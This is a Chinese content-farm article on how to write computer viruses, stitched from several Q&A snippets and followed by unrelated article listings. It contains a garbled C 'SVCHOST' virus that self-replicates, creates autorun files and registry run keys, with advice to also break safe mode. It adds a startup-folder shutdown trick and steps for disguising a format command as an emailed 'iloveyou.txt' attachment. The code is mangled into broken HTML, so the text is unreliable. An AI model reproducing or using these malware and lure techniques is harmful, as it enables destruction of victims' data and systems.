如何编写程序病毒(如何用C语言写病毒)

2025-10-12 17:30:01 :0

如何编写程序病毒(如何用C语言写病毒)

大家好,如果您还对如何编写程序病毒不太了解,没有关系,今天就由本站为大家分享如何编写程序病毒的知识,包括如何用C语言写病毒的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!

本文目录

如何用C语言写病毒

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.\x0d\x0a本病毒的功能:\x0d\x0a1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件\x0d\x0a2.在C、D、E盘中生成自动运行文件\x0d\x0a3.注册c:\windows\system\svchost.exe,使其开机自动运行\x0d\x0a4.在C:\windows\system下生成隐蔽DLL文件\x0d\x0a5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过\x0d\x0a请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究\x0d\x0a/* SVCHOST.C */\x0d\x0a/* SVCHOST.EXE */#define SVCHOST_NUM 6\x0d\x0a#include\x0d\x0a#include\x0d\x0achar *autorun={");\x0d\x0a="" div="" i="SVCHOST_NUM+1;\x0d\x0a" return="" system(regadd);="" {\x0d\x0a="" }\x0d\x0a="" 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;="" 注册svchost.exe,让其在启动时运行="">

大部分病毒程序是用哪种语言编的

分类: 电脑/网络 》》 程序设计 》》 其他编程语言
问题描述:

用VB、C++ 、C、JAVA等编的病毒分别有哪些?越详细越好。除此这外,还有哪些语言也可编写病毒程序。

解析:

C或者C++ 因为这两个语言能操作计算机的底层,但最好的是汇编语言,比如史上曾经的CIH病毒,就是汇编语言写的,java是针对网络的跨平台语言,它牺牲了执行速度来换取跨平台,它相对是个安全的语言,不适合编写病毒

电脑病毒是怎么编写的

  电脑病毒是我们大家都不陌生的,你们也肯定很好奇电脑病毒是什么编写的,下面是我为大家整理的相关的内容,希望对大家有帮助!

  如何制作电脑病毒方法一:

  计算机病毒是编写或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。

  方法/步骤

  1.计算机病毒的特征是传播性,非授权性,隐藏性,潜伏性,破坏性,不可预见性,可触发性。计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。

  2.计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。

  3.现阶段的反病毒技术有特征码扫描,启发式扫描,虚拟机技术,主动防御技术,自免疫技术,云杀毒等等。

  4.一个简单病毒的模块包含,触发模块,传播模块,表现模块。

  5.学习计算机病毒,要了解硬盘结构,计算机扇区结构,计算机系统启动过程,文件系统,计算机引导过程。

  6.汇编语言和C语言用的会比较多。

  注意事项

  一个是要理解计算机系统,文件格式。

  一个是要精通编程,汇编和C。

  计算机病毒的编写方法二:

  1.打开电脑左下角开始----所有程序----启动,右键点击启动选择属性单击左键。

  2.查找下文件位置,找到启动所在文件夹。就可以进行下一步了。

  3.打开启动这个文件,复制下文件路径。win7的启动文件家保存的是这个路径,XP的不是这个可以自己实验下。保存下备用

  4新建一个记事本,写上如下代码保存。其中shutdown -s -t 0表示0秒后关机,代码的意思是把这个代码写到启动这个文件夹下面。

  5.图中标记的代码就是刚才复制的路径,原理跟以前写过的自动关机代码差不多,只是自动关机时间调为0了。

  电脑病毒的特点:

  计算机病毒不但本身具有破坏性,更有害的是具有传染性,一旦病毒被复制或产生变种,其速度之快令人难以预防。

  传染性是病毒的基本特征。

  在生物界,病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下,它可得到大量繁殖,并使被感染的生物体表现出病症甚至死亡。同样,计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。

  只要一台计算机染毒,如不及时处理,那么病毒会在这台电脑上迅速扩散,计算机病毒可通过各种可能的渠道,如软盘、计算机网络去传染其他的计算机。当您在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。

  潜伏性

  有些病毒像定时炸弹一样,让它什么时间发作是预先设计好的。比如黑色星期五病毒,不到预定时间一点都觉察不出来,等到条件具备的时候一下子就爆炸开来,对系统进行破坏。一个编制精巧的计算机病毒程序,进入系统之后一般不会马上发作,因此病毒可以静静地躲在磁盘或磁带里呆上几天,甚至几年,一旦时机成熟,得到运行机会,就又要四处繁殖、扩散,继续为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的操作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等。

  隐蔽性

  计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起来通常很困难。

  破坏性

  计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏 。通常表现为:增、删、改、移。

  可触发性

  病毒因某个事件或数值的出现,诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己,病毒必须潜伏,少做动作。如果完全不动,一直潜伏的话,病毒既不能感染也不能进行破坏,便失去了杀伤力。病毒既要隐蔽又要维持杀伤力,它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件,这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时,触发机制检查预定条件是否满足,如果满足,启动感染或破坏动作,使病毒进行感染或攻击;如果不满足,使病毒继续潜伏。

怎么制作电脑病毒


电脑病毒是电脑使用者们避而远之的东西,但是大家有没有考虑过自己制作一个玩笑病毒去整蛊一下自己的朋友呢,那么怎么制作电脑病毒?下面我们将为大家带来简单电脑病毒制作方法,有兴趣的朋友们不妨来了解一下。
怎么制作电脑病毒?
简单电脑病毒制作方法1:打开记事本,创建一个只包含一个空格(为了减小文件体积)的文本文件,任意取名。
简单电脑病毒制作方法2:打开写字板,将此文件拖放入记事本。也可以单击记事本菜单栏中的【插入】|【对象】,弹出【插入对象】对话框,选中【从文件创建】,然后单击【浏览】按钮选择要插入的文件。
简单电脑病毒制作方法3:选中该插入对象的图标,选择菜单栏中的【】|【包对象】|【包】。在弹出的【对象包装程序】对话框中,选择菜单栏中的【】|【命令行】,然后输入如下命令:Format.coma:/autotest,单击【确定】,此时,内容栏中会显示出命令内容。
简单电脑病毒制作方4:单击外观栏中的【插入图标】按钮,会弹出一个警告对话框,确认,然后任选一个图标。
简单电脑病毒制作方法5:选择菜单栏中的【】|【卷标】,为此嵌入对象取一个名称(会替换原来的文件名称)。单击文件】菜单中的【更新】,然后关闭此对话框。
简单电脑病毒制作方法6:将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是"碎片",现在我们把它改成"iloveyou.txt"。打开电子邮件程序将桌面上的"iloveyou.txt"作为附件发出,或者将含有嵌入对象(带有恶意命令)的文档作为附件发出。
简单电脑病毒制作方法7:当邮件接收者误将"iloveyou.txt.shs"文件作为"iloveyou.txt"放心地打开时,或打开文件,单击文件中的嵌入对象时触发恶意命令(弹出DOS运行窗口,执行格式化命令),假如此时有另一个程序正在访问软驱,则会显示如下信息"DriveA:iscurrentlyinusebyanotherprocess.AbortingFormat."(A驱正被另一个程序访问,格式化中止)。这样一个格式化软盘的炸弹就制作起来了,如果大家加上格式化硬盘的代码,那效果可以想象了。
以上就是小编为您带来的怎么制作电脑病毒?简单电脑病毒制作方法的全部内容。

以上就是我们为大家找到的有关“如何编写程序病毒(如何用C语言写病毒)”的所有内容了,希望可以帮助到你。如果对我们网站的其他内容感兴趣请持续关注本站。

如何编写程序病毒(如何用C语言写病毒)

本文编辑:admin

更多文章:


cisci期刊(美国工程与技术管理杂志是sci吗)

cisci期刊(美国工程与技术管理杂志是sci吗)

本篇文章给大家谈谈cisci期刊,以及美国工程与技术管理杂志是sci吗对应的知识点,文章可能有点长,但是希望大家可以阅读完,增长自己的知识,最重要的是希望对各位有所帮助,可以解决了您的问题,不要忘了收藏本站喔。本文目录美国工程与技术管理杂志

2026年6月3日 21:15

网页设计dw代码大全(网页设计DW 怎么添加背景图片代码是多少)

网页设计dw代码大全(网页设计DW 怎么添加背景图片代码是多少)

大家好,关于网页设计dw代码大全很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于网页设计DW 怎么添加背景图片代码是多少的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有

2025年12月4日 03:45

python数组变成列表(如何设置偏移/指向一个列表/数组在Python)

python数组变成列表(如何设置偏移/指向一个列表/数组在Python)

大家好,python数组变成列表相信很多的网友都不是很明白,包括如何设置偏移/指向一个列表/数组在Python也是一样,不过没有关系,接下来就来为大家分享关于python数组变成列表和如何设置偏移/指向一个列表/数组在Python的一些知识

2026年1月10日 00:45

然后单击下一步(如何正确给电脑硬盘分区)

然后单击下一步(如何正确给电脑硬盘分区)

本篇文章给大家谈谈然后单击下一步,以及如何正确给电脑硬盘分区对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。本文目录如何正确给电脑硬盘分区X201i自带的WIN7系统如何恢复出厂设置详细步骤打印机的安装步骤如何在cad图中提取坐标参数

2026年5月15日 10:45

ant命令打war包(ant打war包的问题)

ant命令打war包(ant打war包的问题)

大家好,ant命令打war包相信很多的网友都不是很明白,包括ant打war包的问题也是一样,不过没有关系,接下来就来为大家分享关于ant命令打war包和ant打war包的问题的一些知识点,大家可以关注收藏,免得下次来找不到哦,下面我们开始吧

2026年3月24日 20:45

php有框架吗(php模板和框架的区别的区别是什么)

php有框架吗(php模板和框架的区别的区别是什么)

各位老铁们好,相信很多人对php有框架吗都不是特别的了解,因此呢,今天就来为大家分享下关于php有框架吗以及php模板和框架的区别的区别是什么的问题知识,还望可以帮助大家,解决大家的一些困惑,下面一起来看看吧!本文目录php模板和框架的区别

2025年11月20日 11:15

推荐适合死亡金属的异形电吉他+效果器+音响、价格总共5000左右?大虾们告诉我买电吉他 效果器 还有音箱什么牌子的好啊 价格呢

推荐适合死亡金属的异形电吉他+效果器+音响、价格总共5000左右?大虾们告诉我买电吉他 效果器 还有音箱什么牌子的好啊 价格呢

其实js效果器的问题并不复杂,但是又很多的朋友都不太了解推荐适合死亡金属的异形电吉他+效果器+音响、价格总共5000左右,因此呢,今天小编就来为大家分享js效果器的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!本文目录推

2025年7月27日 15:00

tocsv函数作用(pandas csv 存取问题)

tocsv函数作用(pandas csv 存取问题)

大家好,如果您还对tocsv函数作用不太了解,没有关系,今天就由本站为大家分享tocsv函数作用的知识,包括pandas csv 存取问题的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!本文目录pandas csv 存取问

2026年7月14日 17:15

计算机考试网页制作怎么做(广东省计算机二级网页制作基础需要学习什么)

计算机考试网页制作怎么做(广东省计算机二级网页制作基础需要学习什么)

这篇文章给大家聊聊关于计算机考试网页制作怎么做,以及广东省计算机二级网页制作基础需要学习什么对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。本文目录广东省计算机二级网页制作基础需要学习什么网页设计考试简答题:网页开放制作包括哪些的基本

2026年1月14日 21:45

java怎么安装ubuntu(如何在Ubuntu Linux上升级Oracle Java 4种方法来在Ubuntu Linux上升级Oracle Java)

java怎么安装ubuntu(如何在Ubuntu Linux上升级Oracle Java 4种方法来在Ubuntu Linux上升级Oracle Java)

本篇文章给大家谈谈java怎么安装ubuntu,以及如何在Ubuntu Linux上升级Oracle Java 4种方法来在Ubuntu Linux上升级Oracle Java对应的知识点,文章可能有点长,但是希望大家可以阅读完,增长自己的

2026年1月26日 05:15

点击网页变成下载html(网页打开变成html下载提示,成空白页面)

点击网页变成下载html(网页打开变成html下载提示,成空白页面)

本篇文章给大家谈谈点击网页变成下载html,以及网页打开变成html下载提示,成空白页面对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。本文目录网页打开变成html下载提示,成空白页面请问电脑一打开网页就跳出需要下载HTML DOUM

2025年11月9日 00:30

字符串长度可以用lenngtn吗js(js中 我在一个函数中定义一个变量赋为值空!)

字符串长度可以用lenngtn吗js(js中 我在一个函数中定义一个变量赋为值空!)

大家好,如果您还对字符串长度可以用lenngtn吗js不太了解,没有关系,今天就由本站为大家分享字符串长度可以用lenngtn吗js的知识,包括js中 我在一个函数中定义一个变量赋为值空!的问题都会给大家分析到,还望可以解决大家的问题,下面

2025年7月14日 15:45

yielding to(The country has sold out its principles in yielding to the demands of a small but powerful group.)

yielding to(The country has sold out its principles in yielding to the demands of a small but powerful group.)

大家好,今天小编来为大家解答以下的问题,关于yielding to,The country has sold out its principles in yielding to the demands of a small but powe

2026年5月13日 12:45

mkdir命令考题(linux系统考题求教)

mkdir命令考题(linux系统考题求教)

各位老铁们,大家好,今天由我来为大家分享mkdir命令考题,以及linux系统考题求教的相关问题知识,希望对大家有所帮助。如果可以帮助到大家,还望关注收藏下本站,您的支持是我们最大的动力,谢谢大家了哈,下面我们开始吧!本文目录linux系统

2026年8月21日 13:45

c++抽象类的作用(简述抽象类的概念及特点)

c++抽象类的作用(简述抽象类的概念及特点)

大家好,今天小编来为大家解答以下的问题,关于c++抽象类的作用,简述抽象类的概念及特点这个很多人还不知道,现在让我们一起来看看吧!本文目录简述抽象类的概念及特点抽象类的作用是什么为什么在c++中引入抽象类C++题目 抽象类不是很了解c++里

2025年9月24日 17:45

kali linux攻击手机(在kali_linux下,怎么在metasploit加入自己写的攻击模块)

kali linux攻击手机(在kali_linux下,怎么在metasploit加入自己写的攻击模块)

大家好,今天小编来为大家解答以下的问题,关于kali linux攻击手机,在kali_linux下,怎么在metasploit加入自己写的攻击模块这个很多人还不知道,现在让我们一起来看看吧!本文目录在kali_linux下,怎么在metas

2025年11月27日 11:15

win10怎么进入bios界面(win10系统bios怎么设置进入)

win10怎么进入bios界面(win10系统bios怎么设置进入)

大家好,关于win10怎么进入bios界面很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于win10系统bios怎么设置进入的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各

2026年1月20日 06:15

artery怎么记忆?i青解释arter是什么意思

artery怎么记忆?i青解释arter是什么意思

“arter”相关信息最新大全有哪些,这是大家都非常关心的,接下来就一起看看artery怎么记忆?i青解释arter是什么意思!本文目录artery怎么记忆i青解释arter是什么意思arter 是艺术家吗为什么我的Maven引入sprin

2026年3月28日 09:30

个人简历封面模板图片(Word如何插入个人简历封面)

个人简历封面模板图片(Word如何插入个人简历封面)

这篇文章给大家聊聊关于个人简历封面模板图片,以及Word如何插入个人简历封面对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。本文目录Word如何插入个人简历封面个人简历教育经历怎么写简历包括哪些内容简历封面一般写什么个人信息个人简历图

2026年8月11日 18:15

rpm命令未找到(rpm-qimysql-community-server.86_64: 未找到命令)

rpm命令未找到(rpm-qimysql-community-server.86_64: 未找到命令)

本篇文章给大家谈谈rpm命令未找到,以及rpm-qimysql-community-server.86_64: 未找到命令对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。本文目录rpm-qimysql-community-server

2026年5月7日 08:30

近期文章

本站热文

electronics软件(labcenter electronics是什么软件)
2025-05-22 23:45:02 浏览:134
博客是微博吗(博客是微博吗)
2025-05-22 22:45:01 浏览:111
diversity and distribution(悬赏英语短文)
2025-05-23 16:15:02 浏览:107
ios软件开发前景(iOS就业前景怎么样)
2025-05-22 23:00:01 浏览:102
next month(有The next month这个单词吗,和 next month有什么区别)
2025-05-23 02:30:01 浏览:102
patron(patron是什么意思)
2025-05-23 10:30:02 浏览:95
标签列表

热门搜索